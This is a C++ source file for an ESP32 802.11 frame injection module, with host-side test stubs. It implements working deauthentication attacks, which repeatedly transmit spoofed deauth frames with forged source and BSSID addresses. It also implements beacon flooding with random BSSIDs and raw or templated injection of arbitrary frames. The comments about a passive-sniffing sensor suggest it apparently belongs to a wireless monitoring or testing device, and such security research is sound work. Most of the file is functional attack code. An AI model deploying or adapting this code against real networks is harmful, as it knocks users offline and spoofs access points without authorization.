// ============================================================================
// wifi_inject.cpp — 802.11 frame injection via esp_wifi_80211_tx()
//
// See wifi_inject.h for full API, mode table, and save/restore contract.
// ============================================================================

#include "wifi_inject.h"

#ifndef UNIT_TEST
#  include "esp_wifi.h"
#  include "esp_wifi_types.h"
// esp_random() for PRNG seeding
extern "C" uint32_t esp_random();
#else
// ---- Host-side stubs -------------------------------------------------------
#  include <cstdlib>
#  include <cstring>
#  include <cstdio>

// Record the last channel set and inject call for test assertions.
struct EspWifiCallLog {
    bool     set_channel_called;
    uint8_t  last_channel;
    bool     promiscuous_set;
    bool     promiscuous_state;
    int      tx_calls;
    size_t   last_tx_len;
};
EspWifiCallLog g_wifi_call_log = {};

// esp_wifi_* stubs
typedef int esp_err_t;
#define ESP_OK 0
#define ESP_FAIL -1
typedef enum { WIFI_IF_STA = 0 } wifi_interface_t;

static esp_err_t esp_wifi_set_channel(uint8_t primary, int /*secondary*/) {
    g_wifi_call_log.set_channel_called = true;
    g_wifi_call_log.last_channel = primary;
    return ESP_OK;
}
static esp_err_t esp_wifi_get_channel(uint8_t* primary, int* secondary) {
    if (primary) *primary = g_wifi_call_log.last_channel ? g_wifi_call_log.last_channel : 1;
    if (secondary) *secondary = 0;
    return ESP_OK;
}
static esp_err_t esp_wifi_set_promiscuous(bool en) {
    g_wifi_call_log.promiscuous_set   = true;
    g_wifi_call_log.promiscuous_state = en;
    return ESP_OK;
}
static esp_err_t esp_wifi_get_promiscuous(bool* en) {
    if (en) *en = g_wifi_call_log.promiscuous_state;
    return ESP_OK;
}

typedef void (*wifi_promiscuous_cb_t)(void*, int);
static wifi_promiscuous_cb_t s_promisc_cb = nullptr;
static esp_err_t esp_wifi_set_promiscuous_rx_cb(wifi_promiscuous_cb_t cb) {
    s_promisc_cb = cb;
    return ESP_OK;
}
static esp_err_t esp_wifi_80211_tx(wifi_interface_t /*iface*/,
                                    const void* /*buf*/, int len,
                                    bool /*en_sys_seq*/) {
    g_wifi_call_log.tx_calls++;
    g_wifi_call_log.last_tx_len = (size_t)len;
    return ESP_OK;
}
static uint32_t esp_random() {
    return (uint32_t)rand();
}

// WIFI_SECOND_CHAN_NONE equivalent
#define WIFI_SECOND_CHAN_NONE 0

#endif // UNIT_TEST

#include <cstring>
#include <cstdlib>

// ---------------------------------------------------------------------------
// Internal state
// ---------------------------------------------------------------------------
static InjectorSavedState s_saved = {};
static bool               s_init  = false;

// Simple 32-bit LFSR PRNG (seeded from esp_random at init)
static uint32_t s_prng_state = 0xDEADBEEFu;
static uint32_t prng_next() {
    s_prng_state ^= s_prng_state << 13;
    s_prng_state ^= s_prng_state >> 17;
    s_prng_state ^= s_prng_state << 5;
    return s_prng_state;
}

// Rolling 802.11 sequence number (12-bit, increments per injected frame)
static uint16_t s_seq_num = 0;
static uint16_t next_seq_num() {
    uint16_t v = s_seq_num;
    s_seq_num = (s_seq_num + 1) & 0x0FFFu;
    return (uint16_t)(v << 4);  // 802.11 seq control: upper 12 bits = seqnum
}

// ---------------------------------------------------------------------------
// Static deauth frame template (802.11 management, subtype 0xC = deauth)
// Header: FC(2) Dur(2) DA(6) SA(6) BSSID(6) SeqCtrl(2) = 24B
// Body:   Reason code (2B)
// ---------------------------------------------------------------------------
static const uint8_t DEAUTH_TEMPLATE[26] = {
    0xC0, 0x00,             // Frame Control: type=mgmt subtype=deauth
    0x00, 0x00,             // Duration
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,  // DA = broadcast (patched at runtime)
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // SA  (patched: target BSSID)
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // BSSID (patched)
    0x00, 0x00,             // Sequence Control (patched)
    0x07, 0x00,             // Reason: Class 3 frame from unassoc STA
};

// ---------------------------------------------------------------------------
// Public API
// ---------------------------------------------------------------------------

bool wifi_inject_init() {
    s_prng_state = esp_random();
    if (s_prng_state == 0) s_prng_state = 0xA5A5A5A5u;
    s_saved = {};
    s_seq_num = 0;
    s_init = true;
    return true;
}

bool wifi_inject_save_state() {
    uint8_t pri = 1;
#ifdef ARDUINO
    wifi_second_chan_t sec = WIFI_SECOND_CHAN_NONE;
#else
    int     sec = WIFI_SECOND_CHAN_NONE;
#endif
    if (esp_wifi_get_channel(&pri, &sec) != ESP_OK) return false;
    bool en = false;
    esp_wifi_get_promiscuous(&en);
    s_saved.channel        = pri;
    s_saved.promiscuous_en = en;
    s_saved.valid          = true;
    return true;
}

bool wifi_inject_set_channel(uint8_t ch) {
    return (esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE) == ESP_OK);
}

bool wifi_inject_restore_state() {
    if (!s_saved.valid) return false;
    esp_wifi_set_channel(s_saved.channel, WIFI_SECOND_CHAN_NONE);
    esp_wifi_set_promiscuous(s_saved.promiscuous_en);
    return true;
}

InjectorSavedState wifi_inject_get_saved_state() {
    return s_saved;
}

// ---------------------------------------------------------------------------
// INJECT_TEMPLATE_PARAMETERIZED helper
// Applies SubstDescriptors to frame_template in-place (modifies a working
// copy on the stack — caller provides the mutable buffer).
// ---------------------------------------------------------------------------
static void apply_substitutions(uint8_t*        tmpl,
                                 size_t          tmpl_len,
                                 const uint8_t*  subst_buf,
                                 uint16_t        num_subst,
                                 const uint8_t   target_bssid[6],
                                 uint32_t        sensor_id) {
    const uint8_t* p = subst_buf;
    for (uint16_t i = 0; i < num_subst; i++) {
        if ((size_t)(p - subst_buf) + 8 > (size_t)(num_subst * 8)) break;
        SubstDescriptor sd;
        memcpy(&sd.offset, p,     2);
        sd.len = p[2]; sd.src = p[3];
        memcpy(sd.value, p + 4, 4);
        p += 8;

        if (sd.offset + sd.len > tmpl_len) continue;  // bounds guard
        uint8_t* dst = tmpl + sd.offset;

        switch ((SubstSrc)sd.src) {
            case SUBST_LITERAL:
                memcpy(dst, sd.value, sd.len);
                break;
            case SUBST_RANDOM_BYTES:
                for (uint8_t b = 0; b < sd.len; b++) {
                    dst[b] = (uint8_t)(prng_next() & 0xFF);
                }
                break;
            case SUBST_SENSOR_ID:
                if (sd.len >= 4) {
                    dst[0] = (uint8_t)(sensor_id & 0xFF);
                    dst[1] = (uint8_t)((sensor_id >> 8)  & 0xFF);
                    dst[2] = (uint8_t)((sensor_id >> 16) & 0xFF);
                    dst[3] = (uint8_t)((sensor_id >> 24) & 0xFF);
                }
                break;
            case SUBST_BSSID:
                if (target_bssid && sd.len >= 6) memcpy(dst, target_bssid, 6);
                break;
            case SUBST_SEQ_NUM:
                if (sd.len >= 2) {
                    uint16_t sn = next_seq_num();
                    dst[0] = (uint8_t)(sn & 0xFF);
                    dst[1] = (uint8_t)((sn >> 8) & 0xFF);
                }
                break;
            default:
                break;
        }
    }
}

// Main send function — mode-dispatched injection loop with auto save/restore.
int wifi_inject_send(uint8_t* frame, size_t len, uint8_t mode, uint16_t repeat) {
    if (!s_init || !frame || len == 0) return -1;

    // Auto-save state before injecting
    wifi_inject_save_state();

    // Clamp repeat: 0 means 1 transmission
    uint16_t count = (repeat == 0) ? 1 : repeat;
    int sent = 0;

    switch (mode) {

        // ------------------------------------------------------------------
        case INJECT_RAW: {
            for (uint16_t i = 0; i < count; i++) {
                if (esp_wifi_80211_tx(WIFI_IF_STA, frame, (int)len, false) == ESP_OK)
                    sent++;
            }
            break;
        }

        // ------------------------------------------------------------------
        case INJECT_DEAUTH: {
            // Build deauth frame; first 6 bytes of `frame` = target DA (or
            // leave as broadcast if caller passes all-zeros).
            uint8_t df[sizeof(DEAUTH_TEMPLATE)];
            for (uint16_t i = 0; i < count; i++) {
                memcpy(df, DEAUTH_TEMPLATE, sizeof(df));
                // DA: use caller-supplied frame[0..5] if non-zero
                bool has_da = false;
                for (int b = 0; b < 6; b++) if (frame[b]) { has_da = true; break; }
                if (has_da) memcpy(df + 4, frame, 6);
                // SA = BSSID: use frame[6..11] if len >= 12, else random
                if (len >= 12) {
                    memcpy(df + 10, frame + 6, 6);
                    memcpy(df + 16, frame + 6, 6);
                } else {
                    for (int b = 0; b < 6; b++) df[10 + b] = df[16 + b] = (uint8_t)(prng_next() & 0xFF);
                }
                // Sequence control
                uint16_t sn = next_seq_num();
                df[22] = (uint8_t)(sn & 0xFF);
                df[23] = (uint8_t)((sn >> 8) & 0xFF);
                if (esp_wifi_80211_tx(WIFI_IF_STA, df, sizeof(df), false) == ESP_OK)
                    sent++;
            }
            break;
        }

        // ------------------------------------------------------------------
        case INJECT_BEACON_FLOOD: {
            // frame = beacon frame body starting at byte 24 (after fixed mgmt hdr).
            // Allocate a working buffer on the stack: 24B header + up to 256B body.
            // Cap at 280B total to stay within typical beacon size.
            const size_t HDR_LEN = 24;
            size_t body_len = (len < 256) ? len : 256;
            size_t total    = HDR_LEN + body_len;
            uint8_t bf[280] = {};
            // Fixed management header: FC = beacon (0x80 0x00)
            bf[0] = 0x80; bf[1] = 0x00;
            // Duration = 0, Sequence = rolling
            memcpy(bf + HDR_LEN, frame, body_len);
            for (uint16_t i = 0; i < count; i++) {
                // DA = broadcast
                memset(bf + 4, 0xFF, 6);
                // SA = random BSSID
                for (int b = 0; b < 6; b++) bf[10 + b] = bf[16 + b] = (uint8_t)(prng_next() & 0xFF);
                // Locally administered bit
                bf[10] = (bf[10] & 0xFE) | 0x02;
                bf[16] = (bf[16] & 0xFE) | 0x02;
                uint16_t sn = next_seq_num();
                bf[22] = (uint8_t)(sn & 0xFF);
                bf[23] = (uint8_t)((sn >> 8) & 0xFF);
                if (esp_wifi_80211_tx(WIFI_IF_STA, bf, (int)total, false) == ESP_OK)
                    sent++;
            }
            break;
        }

        // ------------------------------------------------------------------
        case INJECT_TEMPLATE_PARAMETERIZED: {
            // Wire layout:
            //   [0..1]       num_subst (LE uint16_t)
            //   [2..2+N*8-1] SubstDescriptors
            //   [2+N*8..]    frame template
            if (len < 2) { wifi_inject_restore_state(); return -1; }
            uint16_t num_subst;
            memcpy(&num_subst, frame, 2);
            size_t subst_block = (size_t)num_subst * 8u;
            if (len < 2 + subst_block) { wifi_inject_restore_state(); return -1; }
            const uint8_t* subst_buf  = frame + 2;
            const uint8_t* tmpl_src   = frame + 2 + subst_block;
            size_t         tmpl_len   = len - 2 - subst_block;
            if (tmpl_len == 0) { wifi_inject_restore_state(); return -1; }
            // Cap template at 512B
            if (tmpl_len > 512) tmpl_len = 512;
            // Working copy on heap (small PSRAM or stack—use stack for ≤512B)
            uint8_t work[512];
            for (uint16_t i = 0; i < count; i++) {
                memcpy(work, tmpl_src, tmpl_len);
                // sensor_id and target_bssid not carried here; pass zeros —
                // integrator should use SUBST_LITERAL / SUBST_RANDOM_BYTES
                apply_substitutions(work, tmpl_len,
                                    subst_buf, num_subst,
                                    nullptr, 0);
                if (esp_wifi_80211_tx(WIFI_IF_STA, work, (int)tmpl_len, false) == ESP_OK)
                    sent++;
            }
            break;
        }

        // ------------------------------------------------------------------
        default:
            // Unknown mode: restore state, return error
            wifi_inject_restore_state();
            return -1;
    }

    // Restore sensor to passive sniffing state
    wifi_inject_restore_state();
    return sent;
}
